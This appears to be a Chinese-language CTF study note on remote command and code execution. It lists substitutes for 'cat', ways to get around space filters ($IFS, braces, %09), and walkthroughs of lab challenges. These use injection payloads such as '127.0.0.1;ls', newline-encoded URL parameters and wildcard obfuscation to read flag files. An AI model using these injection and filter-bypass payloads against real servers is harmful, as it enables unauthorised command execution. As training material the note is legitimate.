RCE:远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval。
常见可代替命令:more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录
CTF中常用的绕过过滤空格的方法有:$IFS
$IFS$1
${IFS}
$IFS$9
<比如cat<a.tct:表示cat a.txt
<>{cat,flag.php} //用逗号实现了空
格功能,需要用{}括起来
%20
%09
eval执行
检查网页显示内容可以发现题目中直接给出了一段源代码,代码的大致意思是判断用户是否传了一个 cmd 参数,否则执行 else 。
使用蚁剑连接 cmd 参数试试,测试连接发现可以成功连接,说明此题存在 eval 执行
检查目录列表发现关于flag的文件,检查内容发现flag
命令注入——无过滤
首先执行ping命令,ping本机ip:127.0.0.1,再加上ls这个系统命令,连起来就是127.0.0.1;ls接着查看里面的文件,构造命令127.0.0.1;cat+文件名
查看网页源代码得到flag
过滤cat
执行命令127.0.0.1;ls,发现几个PHP文件
因为cat会被过滤,使用more命令去代替它,127.0.0.1; more flag_75551886717304.php,查看源代码得到flag
过滤空格
执行命令 127.0.0.1;ls,查看可以访问的文件,发现一个flag_681639692898.php
使用cat命令去查看这个文件中有什么,并且此时要绕过对空格的过滤,执行命令:127.0.0.1; cat${IFS}flag_681639692898.php,并查看源代码,得到flag
过滤目录分隔符
用cd 命令查看这个文件夹127.0.0.1;cd flag_is_here;ls
然后cat flag_18515776511094.php执行命令127.0.0.1;cd flag_is_here;catflag,查看源代码,得到flag
过滤运算符
用;ls查看目录
用cat命令查找flag
查看源代码得到flag
综合练习
在URL地址栏输入命令?ip=%0als
列举文件夹下的文件,输入命令
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0als#
查找flag,输入命令
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0ahead${IFS}fl$*ag_29101388310349.php#
查看源代码得到flag